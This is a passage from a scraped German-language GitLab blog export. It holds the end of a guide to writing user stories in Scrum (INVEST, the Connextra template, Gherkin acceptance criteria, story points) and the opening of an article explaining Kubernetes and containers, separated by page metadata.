technisch-funktionale sowie die narrativ-emotionale.   \n* Weil User Stories die Betonung auf den Nutzen legen, der für Kund(innen) entsteht, sind sie in ihrer Umsetzung nicht starr festgelegt. Das Ziel ist nicht die Anwendung, sondern die Vorstellung von einer besseren Erfahrung. Der Weg zu dieser Erfahrung lässt sich auf viele verschiedene Weisen erreichen.   \n* User Storys sind Teil eines kontinuierlichen Verbesserungsprozesses wie der [automatisierten Softwarebereitstellung](https://about.gitlab.com/de-de/solutions/delivery-automation/), mit vielen sofort testbaren Zwischenstufen (*minimal viable product*, das kleinste realisierbare Produkt). Dieser Prozess endet theoretisch mit einem Produkt, das aus Sicht der Kund(innen) nicht mehr optimiert werden kann (und welches somit in der Praxis niemals erreicht werden wird). \n\nIn der Regel helfen User Stories auch dabei, sinnvolle Prioritäten zu setzen, die praxisnah und in einem angemessenen Zeitrahmen realisierbar sind. \n\n## Kann ich auch ohne User Stories auskommen? \n\nUser Stories haben sich fest etabliert. Dennoch kommen auch heute noch viele Teams ohne sie aus. Sogar Firmen, die sich eigentlich fest der agilen Methode verschrieben haben, nutzen sie nicht zwangsläufig. \n\nTrotzdem kann man behaupten: Wer wirklich agil arbeiten will, wird zumindest mit Instrumenten und Konzepten arbeiten, die den User Stories sehr nahe kommen. Wie wir im nächsten Abschnitt zeigen werden, bauen beide auf demselben Ansatz auf und sind eng miteinander verflochten.\n\nAndersherum gilt auch: Nicht jedes Team, das auf User Stories setzt, hat die Philosophie voll verinnerlicht. Nur allzu leicht wird eine User Story zu einem einfachen „Requirement” \\- einer Auflistung gewünschter Funktionalitäten, bei der oftmals der Nutzen für Kund(innen) vergessen wird. \n\n## Welche Rolle spielen User Stories in Agile? \n\nAus dem Gesagten wird ersichtlich, warum User Stories in der agilen Entwicklung auf einen fruchtbaren Nährboden gestoßen sind. Beide legen den Fokus auf ständige Verbesserungen, Teamarbeit einschließlich einer engen Zusammenarbeit mit Kund(innen), und die Orientierung der Ergebnisse an klaren Bewertungskriterien. \n\nUser Stories fügen sich nahtlos in eine agile Organisation ein: \n\n* Idealerweise kann eine User Story innerhalb eines einzigen Sprints abgearbeitet werden.   \n* User Stories werden im Team festgelegt, besprochen und umgesetzt.  \n* Ein klar definiertes Bewertungssystem liefert die Daten, die benötigt werden, um ein Projekt abzuschließen.\n\nWillst du User Stories in deinem Team nutzen? Wenn du mit Kanban arbeitest, brauchst du für deine Projektarbeit nichts zu verändern. Du kannst weiterhin mit deinen To-do-Listen arbeiten, richtest die Ziele aber nunmehr auf die Perspektive von Kund(innen) aus. \n\n## User Stories in Scrum\n\nWie gezeigt, sind User Stories sehr eng mit der agilen Methode verbunden. Und Scrum ist eine der zentralen Konzepte zur Umsetzung der agilen Methode. So erscheint es als selbstverständlich, dass User Stories auch in Scrum Anwendung finden.\n\nInteressanterweise aber werden sie im [Scrum User Guide](https://scrumguides.org/docs/scrumguide/v2020/2020-Scrum-Guide-German.pdf) nicht erwähnt. Stattdessen thematisiert dieser lediglich den „Product Backlog”, also\n\n*„alle Features, Funktionalitäten, Verbesserungen und Fehlerbehebungen, die das Produkt in Zukunft verändern sollen. Ein Product Backlog Item enthält eine Beschreibung, eine Reihenfolge, Schätzung und Bewertung als Attribute.” \\[Übersetzung aus dem Englischen\\]*\n\nAus dem gerade Erwähnten dürfen keine falschen Schlussfolgerungen gezogen werden. \n\nUser Stories sind nicht die einzige Möglichkeit, mit Scrum kundenorientiert zu arbeiten. Trotzdem haben sie in Scrum ganz gewiss ihren Platz\\! Vielmehr möchte sich der Scrum-Guide nur nicht eindeutig auf ihre Verwendung festlegen und Scrum-Mastern maximale Freiheit einräumen.\n\n## Wie schreibe ich eine gute User Story?\n\nDiese Frage stellt sich zu Beginn nahezu jedes neuen Sprints. Wenn User Stories intuitiv erfassbar und ihre Vorteile offensichtlich sind und wenn das Konzept an sich einfach zu erklären ist \\- warum fällt es dann schwer, es in die Praxis umzusetzen?\n\nWenn du dich mit dieser Frage beschäftigst, mache dir deswegen keine Vorwürfe. User Storys gibt es als methodische Idee bereits seit fast 30 Jahren. Innerhalb dieser Zeit hat es immer wieder Bemühungen gegeben, die Umsetzung zu vereinfachen \\- ein eindeutiges Indiz, dass sie nicht einfach ist. \n\nEine gute User Story hat bestimmte Qualitätskriterien. Diese werden wir uns im nächsten Abschnitt ansehen. Trotzdem glauben wir, dass es möglich ist, auf einer etwas allgemeineren Ebene zu erklären, was eine gute User Story ausmacht:\n\nDamit eine User Story wirklich Nutzen für Kund(innen) generiert, muss sie ihrer Erlebniswelt so nahe wie möglich kommen. Deshalb werden viele der besten User Storys de facto von den Anwender(innen) verfasst \\- sei es nach einem intensiven Gespräch oder weil der Kontakt so eng ist, dass du sehr genau abschätzen kannst, was diese sich wünschen. \n\nDas zweite wichtige Kriterium ist, diesen Nutzen so lebendig wie möglich darzustellen. Wir haben zu Anfang erwähnt, dass eine User Story keine Geschichte ist. Wenn wir sie zu Papier bringen, dann solltest du sie dir sehr plastisch vorstellen können: *So dreidimensional wie ein kleiner Film, der vor dem geistigen Auge abläuft, so kurz gefasst wir ein Haiku.* Dabei kannst du die Zufriedenheit bei Anwender(innen) förmlich spüren. \n\nAuf einer formalen Ebene können das 3C-Modell und die INVEST-Methode weitere Hinweise liefern. In den folgenden beiden Abschnitten gehen wir genauer auf sie ein.\n\n### Das 3C-Modell\n\nDas 3C-Modell entstand bereits früh in der User-Story-Geschichte. Es stammt noch aus einer Zeit, in der die Stories noch wortwörtlich „zu Papier” gebracht wurden. Für eine gute Story sollten in diesem Rahmenwerk folgende drei Punkte erfüllt sein:\n\n1. **C**ard: Die User Story sollte so knapp bemessen sein, dass sie auf eine Karteikarte passt, jedoch ausführlich genug, dass sie diese Karte komplett ausfüllt.   \n2. **C**onversation: Die User Story definiert einen Wunsch und Nutzen der Kund(innen). Die Bewertung und Umsetzung dieser Story erfolgt in enger Zusammenarbeit zwischen allen Teammitgliedern und Kund(innen). Intensive Gespräche sind dabei ein zentraler Bestandteil.  \n3. **C**onfirmation: Es muss eine objektivierbare Möglichkeit bestehen, festzustellen, wann das Ziel erreicht ist. \n\nDas 3C-Modell ist angenehm knapp und bringt zur Geltung, was eine gute Story von einer weniger überzeugenden unterscheidet. Gleichzeitig liefert es wenig praktische Hilfe dabei, eine solche User Story zu schreiben.\n\n### INVEST\n\nAuch bei dem Akronym INVEST handelt es sich um einen Katalog von Anforderungen an gutes User-Story-Schreiben. Es gibt Überschneidungen mit 3C, aber auch eigenständige Punkte.\n\nSehen wir uns die sechs Anforderungen von INVEST einzeln an:\n\n1. **I**ndependent: Jede User Story sollte einen eigenständigen Wunsch von Kund(innen) abbilden. Sie sollte nicht von der Umsetzung anderer Wünsche abhängen.   \n2. **N**egotiable: Die Bedürfnisse der Kund(innen) stehen immer im Vordergrund. Aber eine User Story lebt auch vom regen Austausch zwischen verschiedenen Abteilungen und Teams. Wichtiger als ein starres Festhalten an einmal gewählten Formulierungen ist ein ständiges Aushandeln und Neuverhandeln der Ziele sowie der Methoden zu ihrer Umsetzung.   \n3. **V**aluable: Eine gute User Story muss einen echten, spürbaren Nutzen für Kunden liefern.  \n4. **E**stimate: Manche User Storys werden sich schnell und problemlos lösen lassen. Andere sind komplex. Damit für die praktische Arbeit ausreichend Mitarbeiter(innen) mit dem erforderlichen Wissen zur Verfügung gestellt werden, bedarf es einer möglichst genauen Aufwandseinschätzung.  \n5. **S**mall: Eine User Story sollte in einem Sprint beendet werden können. Sobald du mit einem signifikant höheren Aufwand rechnest, solltest du die Story aufteilen oder von Anfang an als Epic planen.  \n6. **T**estable: Zur Bewertung einer User Story solltest du Abnahmekriterien festlegen können. Diese erlauben es dir, später zu bestimmen, ob du das zu Anfang gesteckte Ziel erreicht hast. Mit diesen Akzeptanzkriterien beschäftigen wir uns gleich.\n\nWie du aus dieser Übersicht erkennen kannst, beziehen sich die über das 3C-Modell hinausgehenden Punkte von INVEST vor allem auf die Arbeit in Scrum. Aus diesem Grund ergibt INVEST Sinn für alle Scrum-Master, die sich intensiver mit User Stories auseinandersetzen wollen.\n\n## Scrum User Story: Aufbau und Beispiel\n\nGehen wir nun zu dem Punkt über, der in nahezu allen Artikeln und Übersichten zum Thema fehlt: Einem praktischen Beispiel für eine User Story in Scrum und wie du sie so schreiben kannst, dass sie zu einem wünschenswerten Ergebnis führt. Wir werden in diesem Artikel nicht näher auf ein Epic-Beispiel (lange User Story) eingehen. Denn auch, wenn die Zyklen sich hier über mehrere Sprints erstrecken, bleibt das Grundprinzip identisch. \n\nNehmen wir an, du hast aus Gesprächen mit Kund(innen) ermittelt, dass diese nicht zufrieden mit der Updatefunktion deines Produkts sind. Immer wieder werden sie während der Arbeit von Update-Meldungen gestört und die Durchführung der Updates beeinträchtigt zudem die Rechenkapazität. Sie würden gerne komfortabel bestimmen können, wann Updates installiert werden sollen oder sich gegen bestimmte Updates entscheiden.  \n\nWie verläuft nun der Weg von diesem ersten Wunsch der Kund(innen) hin zum neuen Feature, beziehungsweise zum Befriedigen des Wunsches der Kund(innen)? \n\n### User-Story-Beispiel Schritt 1: 5 Whys\n\nDas Konzept der User Story fußt auf der Schöpfung von Nutzen. Deshalb sollte das genaue Definieren dieses Nutzens höchste Priorität genießen. Wenn du den Nutzen nicht richtig erfasst, wird es deinem Team auch nicht gelingen, die zentrale emotionale Komponente des Prozesses \\- die „Story” \\- zufriedenstellend umzusetzen. \n\nHilfe bietet hier die 5-Why-Technik. \n\nFange damit an, was du erreichen möchtest: ein Update-Prozess, der von Kund(innen) nicht mehr als Belästigung empfunden wird, sondern als Unterstützung und Optimierung. Anschließend stelle dir selbst die Aufgabe, fünf gute Gründe zu finden, warum diese Story einen Nutzen stiftet.\n\nFür diese User Story wäre zum Beispiel aus der Sicht von Kund(innen) denkbar:\n\n* Damit ich bei voller Rechenleistung weiterarbeiten kann.  \n* Damit ich zunächst sicherstellen kann, dass genug Speicherplatz zur Verfügung steht.   \n* Damit ich die Entscheidung über Updates dann treffe, wenn ich mich damit auch wirklich auseinandersetzen kann und möchte.   \n* Damit ich gezielt nur die Updates auswählen kann, die ich brauche.   \n* Damit ich weiß, welche neuen Updates installiert wurden und immer auf dem neuesten Stand bleibe.\n\nJe mehr Details du hier erarbeiten kannst, umso deutlicher wird es für das Team als Ganzes (und manchmal sogar für die Kund(innen) selbst), worin genau die „Story” besteht.\n\n### User-Story-Beispiel Schritt 2: Connextra-Template\n\nWir haben es bereits erwähnt: User Stories sind eher wie Haikus als Geschichten. Und genau wie Haikus hilft es, bei der Formulierung einer User Story einem mehr oder weniger strengen Format zu folgen.   \n\nRachel Davis von der Firma Connextra stellte fest, dass viele Mitarbeiter(innen) mit dem Schreiben einer guten User Story überfordert waren. Die inhärente Freiheit des Konzepts erwies sich als ein Problem. Wie so oft bot eine gezielte Limitierung der Optionen eine passende Lösung.\n\nDavis schlug den folgenden User-Story-Aufbau vor:\n\n*Als \\[Rolle\\] möchte ich \\[Story\\], damit ich \\[Grund\\]*\n\nDas bedeutet in unserem User-Story-Beispiel:\n\n*Als Kundin möchte ich in Ruhe mit der Software arbeiten können, ohne von Updates unterbrochen zu werden. Ich möchte aber auch immer darüber informiert sein, was für Updates genau neu installiert werden und mich gegebenenfalls gegen sie entscheiden. Der Grund ist, dass ich es vorziehe, immer die Kontrolle über die Software zu behalten und immer auf dem neuesten Stand zu sein.* \n\nDies ist leider nicht, wie das Template in der Praxis üblicherweise benutzt wird. Oftmals setzen viele Teams statt einer emotional gelebten „Story” einfach eine rein technische Funktionalität ein. \n\nDabei geht genau der wichtigste Teil verloren. Bei User Stories geht es um eine alternative Möglichkeit, mit dem Produkt zu arbeiten \\- nicht um eine neue Methode, die Arbeit aufzuteilen. Wenn du so vorgehst, nutzt du zwar formal einen passenden User-Story-Aufbau, arbeitest aber mit alten Methoden. \n\nDas Connextra-Template verführt dazu, zu Mustern zurückzukehren, die du hinter dir lassen solltest. Wer es aber in seiner ursprünglichen Form verwendet, kann sehr großen Nutzen daraus ziehen. \n\n### User-Story-Beispiel Schritt 3: Akzeptanzkriterien\n\nJede gute Geschichte hat einen Anfang und ein Ende. Ohne das letzte Kapitel und ein zufriedenstellendes Finale wird selbst ein spannender Anfang und ein packender Mittelteil mit einer Enttäuschung enden. \n\nAus diesem Grund solltest du unbedingt gleich zu Anfang Akzeptanzkriterien für deine User Story festlegen. Diese setzen einen Rahmen dafür, wann eine User Story als beendet („done”) betrachtet werden kann. Zusammen mit dem vierten Schritt, dem Abschätzen, verankern sie User Stories fest im agilen Framework. \n\nDie Agile Scrum Group meint [zum Thema Akzeptanzkriterien](https://agilescrumgroup.de/akzeptanzkriterien/): \n\n*„Akzeptanzkriterien geben einer User Story Details, sodass Sie wissen, wann eine User Story fertig ist. Akzeptanzkriterien entstehen aus Gesprächen zwischen dem Product Owner, den Stakeholdern und den Entwicklern, wenn Sie nach dem Scrum Framework arbeiten.”*\n\nEs empfiehlt sich bei dem Festlegen der Akzeptanzkriterien folgendes zu beachten:\n\n* 4-8 Akzeptanzkriterien pro User Story erscheinen den meisten Experten als eine sinnvolle Menge.  \n* Suche nach objektiven Kriterien, insofern dies innerhalb der subjektiven Grenzen einer User Story möglich ist. Umso präziser sich feststellen lässt, ob ein Kriterium erfüllt wurde, um so besser.  \n* Entscheidend bei User Storys ist die „Story”, die sich Kund(innen) wünschen, nicht, wie diese umgesetzt wird oder welche Features sie beinhaltet. Lege deshalb genau fest, „was” du erreichen möchtest \\- und überlasse das „wie” der Teamarbeit.\n\nWie sehen Akzeptanzkriterien in der Praxis aus? Es gibt hier verschiedene Ansätze. Das beste Beispiel ist das sogenannte Gherkin-Format.\n\n### Das Gherkin-Format\n\nEbenso wie das Connextra-Template für den User-Story-Aufbau packt das Gherkin-Format die Formulierung von Akzeptanzkriterien für diese User Stories in ein fixes Format. Das erleichtert die Arbeit ungemein. \n\nDas Format sieht folgendermaßen aus:\n\n*Gegeben \\\u003CVoraussetzung\\>*  \n*wenn \\\u003CEreignis\\>*  \n*dann \\\u003CErgebnis\\>*\n\nSo kann für viele potenzielle Fälle ein Szenario entworfen werden. Ein hervorragendes User-Story-Beispiel findet sich in einem ausführlichen [PDF-Leitfaden des Bundesinnenministeriums](https://www.digitale-verwaltung.de/SharedDocs/downloads/Webs/DV/DE/servicehandbuch.pdf?__blob=publicationFile&v=3): Hier möchten Anwender(innen) ein „Passbild hochladen\", damit ihre „Antragsdaten vollständig sind”: \n\n*„Szenario: Bilddatei hochladen*  \n*Gegeben ist, dass der Nutzende angemeldet ist und sich auf dem entsprechenden Formular befindet,*  \n*Wenn der Nutzende eine ausgewählte Datei hochlädt und es sich um eine Bilddatei handelt,*  \n*dann wird sie übernommen und dem Nutzenden als hochgeladen angezeigt und die Biometrie-Prüfung*  \n*wird angestoßen.*\n\n*Szenario: Falsches Format hochladen*  \n*Gegeben ist, dass der Nutzende angemeldet ist und sich auf dem entsprechenden Formular befindet,*  \n*Wenn der Nutzende eine ausgewählte Datei hochlädt und es keine Bilddatei ist,*  \n*dann wird sie nicht übernommen und es wird ein Fehler angezeigt.”*\n\n## Agile Schätzung\n\nDie Welt der Softwareentwicklung ist nicht linear. Aufgaben werden nicht bequem der Reihe nach abgearbeitet. In der Regel gilt es, mit einer limitierten Menge an Arbeitszeit die von dir und deinem Team definierten User Stories gleichzeitig oder zeitversetzt umzusetzen. Das stellt die Planung vor anspruchsvolle Aufgaben. \n\nDas Ziel der User-Story-Organisation besteht darin, zu verstehen, wie viel Aufwand jede einzelne Story erfordert. Je genauer du dies weißt, desto genauer wirst du in der Lage sein, die zu erledigenden Aufgaben auf die bestehenden Kapazitäten zu verteilen. Je gröber dein Verständnis, umso höher das Risiko, dass User Stories gar nicht oder nicht in der erforderlichen Qualität erledigt werden. \n\nDieses Risiko kann das Überleben des Unternehmens gefährden. Aus diesem Grund nimmt die agile Schätzung \\- also die Schätzung des Aufwands deiner User Stories \\- eine zentrale Rolle ein. \n\nDu könntest nun meinen, dass es dafür eine einfache Lösung gibt: Du weist schlicht jeder User Story eine geschätzte Bearbeitungsdauer zu und verteilst die Arbeit anschließend so, dass sie innerhalb der geplanten Sprints erledigt werden kann. \n\nIn der Praxis haben sich andere Ansätze als effektiver erwiesen. \n\n## Story Points: Aufwand vs. Arbeitszeit\n\nZeit ist relativ. Was für das Universum als Ganzes gilt, hat auch in der Softwareentwicklung Bestand. Arbeitszeit präziseeinzuschätzen hängt von einer Vielzahl von Faktoren ab und kann sich sogar für erfahrene Personalplaner als äußerst schwierig erweisen. Gerade bei schnellen und zugleich zeitintensiven Branchen können selbst kleine Abweichungen massive Folgewirkungen haben und den gesamten Zeitplan durcheinander bringen.\n\nAus unserer Sicht sind zwei Punkte verantwortlich dafür, dass Zeit in der Planung kein idealer Bewertungsmaßstab ist:\n\n* Die Komplexitäten verschiedener User Stories können sehr weit auseinanderklaffen. Das bedeutet nicht unbedingt, dass komplexe Aufgaben mehr Zeit benötigen. Möglicherweise erfordern sie lediglich, dass sich erfahrene, hochqualifizierte oder auf dieses Thema geschulte Teammitglieder um ihre Bearbeitung kümmern müssen.   \n* Der Aufwand einer Aufgabe hängt ebenfalls von sehr unterschiedlichen Faktoren ab. Manche User Stories müssen ausgiebig im Team diskutiert werden, andere erfordern viel Zeit, um realisiert zu werden, obwohl sie keineswegs „schwierig” sind. Andere können nur in ständiger Rücksprache mit Kund(innen) umgesetzt werden. All das beeinflusst die Arbeitszeit, teilweise auf eine Art und Weise, die nur schwer vorherzusehen ist.\n\nAus diesem Grund hat sich eine andere Einheit zur Einschätzung herauskristallisiert: Story Points. Dabei handelt es sich um ein Maß, das den Aufwand einer User Story auf eine nicht direkt mit der erforderlichen Zeit verbundene Weise zu bestimmen versucht: Je mehr Story Points eine User Story erfordert, umso höher der Aufwand. \n\n## Story Points in der Schätzung\n\nStory Points sind Aufwandspunkte. Sie können in erfahrenen Teams zu sehr genauen Schätzungen führen. Trotzdem stehen sie niemals für absolute Werte und sind im Gesamtkontext aller aktuell anstehenden User Storys zu sehen. \n\nDie beliebtesten Konzepte basieren nahezu alle grob auf der Fibonacci-Folge. In dieser Sequenz entsteht die jeweils nächste Zahl aus der Summe der beiden vorangegangenen. Die ersten 13 Einträge dieser Folge sind demzufolge:\n\n0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144\n\nIn der User-Story-Planung werden diese Zahlen ein wenig geglättet. So entsteht zum Beispiel die folgende Kette:\n\n0, 1, 2, 3, 4, 5, 8, 13, 20, 30, 50, 100\n\nWir haben auch Konzepte gefunden, in der zwischen 0 und 1 noch ein 0,5 eingefügt und statt einer 50 eine 40 gewählt wurde. Das aber sind Feinheiten, die das Konzept als solches nicht wesentlich  tangieren. \n\nAnschließend weist das Team den User Stories einen dieser Zahlenwerte zu. Daraus entsteht eine Reihenfolge der Stories nach Aufwand. Die folgenden Methoden zur Zuweisung von Story Points sind üblich:\n\n### Planning Poker\n\nBeim Planning Poker weisen die Teammitglieder jeder User Story auf einer verdeckt gehaltenen Karte, je nach dem geschätzten Aufwand, Story Points zwischen 0 und 100 zu. Anschließend werden die Karten offen auf den Tisch gelegt und nach Zahl der Story Points auf Stapel verteilt. \n\nDer Stapel mit den meisten Karten ist der „Sieger” und die User Story erhält die damit verbundene Zahl an Punkten, beispielsweise 20\\. \n\nDas Planning Poker ist eine elegante Methode der Aufwandsschätzung, die letzten Endes aber natürlich einer simplen Abstimmung gleichkommt. \n\nDas Konzept der Planung durch T-Shirtgrößen, was sich ebenfalls oft in einschlägigen Artikeln findet, ist aus unserer Sicht keine eigenständige Methode, sondern eine modifizierte Variante des Pokers. Gleiches gilt für das „Bucket System” (ein Eimer, in den die Karten geschmissen werden) oder das „Dot Voting” (mit kleinen Klebepunkten). \n\n### Affinity Mapping\n\nDas Affinity Mapping ist eine der wenigen Alternativen zum Planning Poker. Es besteht aus zwei Phasen:\n\n1. Zunächst gruppieren alle Teammitglieder gemeinschaftlich die Aufgaben, die einen ähnlichen Komplexitätsgrad aufweisen. Die Einteilung erfolgt durch Diskussion innerhalb des Teams.  \n2. Anschließend werden den User Stories innerhalb der Gruppe, entweder durch weitere Gespräche oder Methoden wie Planning Poker, Story Points zugewiesen. So entsteht eine Reihenfolge, bei der die aufwandsintensiven Stories ganz oben, die vermutlich weniger anspruchsvollen weiter unten stehen. \n\n## Wer schreibt User Stories?\n\nIn der Vergangenheit wurde die Planung und Aufgabenzuweisung üblicherweise von einer zentralen Instanz oder einer verantwortlichen Person vorgenommen. Bis heute hat sich diese Arbeitsverteilung in vielen Unternehmen gehalten. Sogar Scrum, ein teamorientiertes Konzept innerhalb der teamorientierten Agile-Management-Philosophie, arbeitet bis heute mit einem Scrum-Master.\n\nDas Schreiben von User Stories unterscheidet sich hier deutlich. Zwar wird die erste Version der User Story oftmals noch von einem erfahrenen Teammitglied verfasst, beispielsweise nach einem ausführlichen Austausch mit Kund(innen). Hier schließt sich direkt die Phase der „Verhandlungen” an, also des Austauschs zwischen allen Beteiligten. \n\nSomit werden User Stories zwar noch sehr oft von Einzelnen vorbereitet, geschrieben werden sie aber von der Gruppe. \n\nGenau das macht sie auch zu einem so großartigen Tool. Denn wie jeder Autor weiß, ist eine Geschichte nur dann gut, wenn man sich mit ihr identifizieren kann. \n\n*Willst Du mehr dazu wissen, wie Deine persönliche User Story in Scrum zum Erfolg wird? Dann empfehlen wir Dir unseren Leitfaden zur [Verwendung von Scrum in GitLab](https://docs.gitlab.com/ee/tutorials/scrum_events/). Oder informiere Dich dazu, warum GitLab ganz allgemein die führende [DevSecOps-Plattform](https://about.gitlab.com/de-de/platform/) ist.*",[701],"2025-05-20","So schreibst du eine User Story in Scrum",[973],"Der große User-Story-Guide für Scrum: Beispiele, Aufbau, Akzeptanzkriterien, Formulierung. Jetzt hier klicken und durchlesen!",{"slug":1558,"featured":6,"template":682},"how-to-write-a-user-story-in-scrum","content:de-de:blog:how-to-write-a-user-story-in-scrum.yml","How To Write A User Story In Scrum","de-de/blog/how-to-write-a-user-story-in-scrum.yml","de-de/blog/how-to-write-a-user-story-in-scrum",{"_path":1564,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1565,"content":1571,"config":1576,"_id":1578,"_type":16,"title":1579,"_source":17,"_file":1580,"_stem":1581,"_extension":20},"/de-de/blog/definition-what-is-kubernetes",{"title":1566,"description":1567,"ogTitle":1566,"ogDescription":1567,"noIndex":6,"ogImage":1568,"ogUrl":1569,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1569,"schema":1570},"Was ist Kubernetes?","Container haben Softwareentwicklung und -Deployment revolutioniert. Wir zeigen dir hier die Vorteile von Kubernetes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662245/Blog/Hero%20Images/blog-image-template-1800x945__16_.png","https://about.gitlab.com/blog/definition-what-is-kubernetes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was ist Kubernetes?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2025-05-15\",\n      }",{"title":1566,"description":1567,"authors":1572,"heroImage":1568,"date":1573,"body":1574,"category":847,"tags":1575,"updatedDate":1573},[701],"2025-05-15","# Kubernetes: Einfach erklärt\n\nKubernetes hat sich weltweit als führende Technologie in der Container-Orchestrierung durchgesetzt. Die Vielfalt an Funktionalitäten, die Kubernetes bereitstellt, ist aber nicht immer leicht zu nutzen. Lukas Gentele schreibt auf entwickler.de, dass \"von vielen Entwicklern Kubernetes als zu komplex und kaum zu beherrschen wahrgenommen wird\". Damit spricht er aus, was viele denken.\n\nIronischerweise besteht der Hauptnutzen von Kubernetes darin, viele Anwendungen überhaupt erst beherrschbar zu machen. Warum das kein Widerspruch ist, was Kubernetes ist und wie es funktioniert, erfährst du in diesem Artikel. \n\n## Inhaltsverzeichnis\n- [Kubernetes: Einfach erklärt](#kubernetes-einfach-erklärt)\n  - [Kubernetes-Container: Kein Pod kommt ohne aus](#kubernetes-container-kein-pod-kommt-ohne-aus)\n  - [Container – übersichtlich, kollaborativ, effizient](#container-–-übersichtlich-kollaborativ%2C-effizient)\n  - [Pod: Container Kombinationen](#pod-container-kombinationen)\n  - [Orchestrierung: Container kontrollieren](#orchestrierung-container-kontrollieren)\n  - [Abstraktion und Zustandsorientierung](#abstraktion-und-zustandsorientierung)\n  - [Node, Kubelet, Cluster: Die Welt von Kubernetes](#node-kubelet%2C-cluster-die-welt-von-kubernetes)\n  - [Wie funktioniert Kubernetes?](#wie-funktioniert-kubernetes%3F)\n  - [Kubernetes in der Praxis](#kubernetes-in-der-praxis)\n  - [Die Vorteile von Kubernetes](#die-vorteile-von-kubernetes)\n  - [Wie funktioniert die Kubernetes-Integration unter GitLab?](#wie-funktioniert-die-kubernetes-integration-unter-gitlab)\n  - [FAQs zu Kubernetes (K8s)](#faqs-zu-kubernetes-(k8s))\n\n## Kubernetes-Container: Kein Pod kommt ohne aus\n\nWenn wir ein Verständnis über Kubernetes vermitteln wollen, kommen wir an einem Bestandteil nicht vorbei – dem Container. \n\nÄhnlich wie Betriebssysteme wurden Anwendungen noch bis vor wenigen Jahre als Monolith entwickelt. Das bedeutet, Anwendungen bestanden aus einer einzigen unteilbaren Codebasis, welche alle Informationen enthält, die zum Betrieb notwendig sind.\n\nAuch, wenn nur wenige Teile der Anwendung benötigt wurden, musste trotzdem das gesamte Programm geladen werden. Das verbrauchte offensichtlich viele Ressourcen, das System wurde langsam und fehleranfällig.\n\n## Container – übersichtlich, kollaborativ, effizient\n\nErste Versuche, die Nachteile einer monolithischen Architektur zu umgehen und Teile eines Programms gezielt zu isolieren, entstanden in den späten 70ern und frühen 80er-Jahren. Doch erst Docker, welches 2013 veröffentlicht wurde, verhalf dem Gedanken auf breiter Basis zum Durchbruch.\n\nDie verschiedenen Funktionalitäten einer Anwendung werden mit einer Software wie Docker isoliert und in Pakete aufgeteilt. Diese Container enthalten sämtliche Daten, Software und Bibliotheken, die zum Betrieb genau dieser Funktionalitäten erforderlich sind.\n\nDie Container können eigenständig genutzt oder getestet werden. Aber man kann sie auch zu einer größeren Architektur verknüpfen und \"aufeinanderstapeln\" wie Container (die Idee entstand [laut dem ehemaligen Docker-CEO Ben Golub](https://www.computerwoche.de/a/der-niedergang-von-docker,3551769) \"als wir all die Containerschiffe im Hafen von Oakland einlaufen sahen\").\n\nFrüher als monolithische Anwendungen entwickelt, werden Programme heute als Zusammensetzungen einzelner Container betrachtet. Anstatt den gesamten Code zu laden, werden nur die Container verwendet, die für die jeweils auszuführenden Aufgaben notwendig sind. Dadurch, dass die Container bereits alle Daten enthalten, die benötigt werden, um das Programm zu starten, wird es deutlich einfacher, einzelne Komponenten von einem Server mit Betriebssystem A auf einen anderen mit Betriebssystem B zu verschieben.\n\n## Pod: Container Kombinationen\n\nAusgehend von den einzelnen Docker-Containern bilden Anwender(innen) nun Gruppen aus Containern, die im Rahmen einer bestimmten Anwendung oder eines größeren Systems zusammenarbeiten. Jede dieser virtuellen Gruppen bezeichnet man als \"Pod\".\n\nIm Beispiel eines E-Commerces Unternehmen, kann nun ein Pod die Benutzeroberfläche enthalten, während andere Pods die Bezahlung, oder die Lieferung abwickeln. Die Vorteile sind klar: Dieser Ansatz ist schlanker und robuster als der monolithische und lässt sich konsistent auf verschiedenen Betriebssystemen verwenden. Gerade in der Softwareentwicklung bedeutete diese Zuverlässigkeit einen deutlichen Sprung nach vorne.\n\n## Orchestrierung: Container kontrollieren\n\nGleichzeitig erfordert eine Anwendung, die aus mehreren Containern zusammengesetzt ist, ein höheres Maß an Management.\n\nWas passiert beispielsweise, wenn ein Pod ausfällt? Wie geht man mit Fehlern in einem Pod um? Wo sollen die Pods ausgeführt werden? Wie wirkt sich die Containerisierung auf die Entwicklung neuer Funktionalitäten aus? Wie funktioniert überhaupt die ständige Neuverteilung verschiedener Pods innerhalb derselben Anwendung während des laufenden Betriebs?\n\nDiese Fragen werden dringlicher, je mehr Container eine Anwendung verwendet. Und sie werden geradezu kritisch in einer Umgebung, in der sehr viele Nutzer(innen) auf eine Vielzahl containerisierter Anwendungen zugreifen sollen.\n\nWenn es keinen monolithischen Code mehr gibt, welcher festlegt, in welchen Situationen bestimmte Kombinationen zur Anwendung kommen, werden neue Prinzipien zur Aktivierung benötigt. Darüber hinaus ergeben sich durch die Containerisierung eine Vielzahl spezifischer Herausforderungen.\n\nDie Lösungsansätze, die sich mit dieser Herausforderung beschäftigen, werden unter dem Begriff Container-Orchestrierung zusammengefasst. Einfach erklärt ist Kubernetes das derzeit wohl leistungsfähigste und effizienteste Orchestrierungs-Tool.\n\n## Abstraktion und Zustandsorientierung\n\nVor der Einführung der Containerisierung, die mit Docker ihren Durchbruch fand, waren Programme im Wesentlichen Stories, die durch ihren Code zusammengehalten wurden. Mit Containern wird dieses Narrativ jedoch aufgebrochen und in seine einzelnen Bestandteile zerlegt. Damit aus diesen Teilen wieder eine sinnvolle Geschichte entsteht, benötigt man einen „roten Faden\", der die einzelnen Komponenten zusammenführt.\n\nAus der Perspektive von Kubernetes werden Anwendungen schlicht als „Arbeitslasten\" (Workloads) betrachtet – also Dienste, die eine bestimmte Menge an Systemressourcen beanspruchen. Pods fungieren dabei als Abstraktionen, da der Zusammenhang zwischen den einzelnen Pods jederzeit aufgelöst und neu gestaltet werden kann.\n\nDas bedeutet, dass du jederzeit eine bestehende Struktur aufbrechen und nach Belieben neu zusammensetzen kannst. Mit denselben Komponenten lässt sich so etwas völlig Neues erschaffen.\n\nWichtig bei der Wahl der geeigneten Abstraktion ist der Zustand (State), der durch die Kombination oder Aktivierung von Nutzlasten im System entsteht. Manche Zustände sind gewünscht, andere nicht.\n\nWenn man Kubernetes einfach definieren 